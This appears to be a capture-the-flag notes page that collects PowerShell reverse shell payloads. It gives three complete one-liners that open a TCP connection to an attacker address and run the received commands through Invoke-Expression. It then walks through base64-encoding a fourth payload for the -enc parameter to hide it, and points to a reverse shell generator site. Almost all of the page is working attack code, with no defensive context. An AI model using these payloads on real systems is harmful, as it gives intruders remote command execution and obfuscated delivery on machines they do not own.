> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/lat-mov/reverse-shells/reverse-shells-in-powershell.md).

# Reverse shells in PowerShell

Add powercat

```bash
cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
```

## Examples of PowerShell reverse shells

### Variant #1

```powershell
$LHOST = "10.10.10.10"; $LPORT = 9001; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
```

### Variant #2

```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```

### Variant #3

```powershell
$TCPClient = New-Object Net.Sockets.TCPClient('10.10.10.10', 9001);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()
```

## Encoding Procedure

Encoding procedure to use with the `-enc` parameter

1. Set the reverse shell as the `$Text` variable<br>

   ```powershell
   $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.248",12345);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
   ```
2. Convert to bytes<br>

   ```powershell
   $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
   ```
3. Base64 encode<br>

   ```powershell
   $EncodedText = [Convert]::ToBase64String($Bytes)
   ```
4. Verify result<br>

   ```powershell
   $EncodedText
   ```

## Resources

Reverse Shell Generator - revshells.com: <https://www.revshells.com/>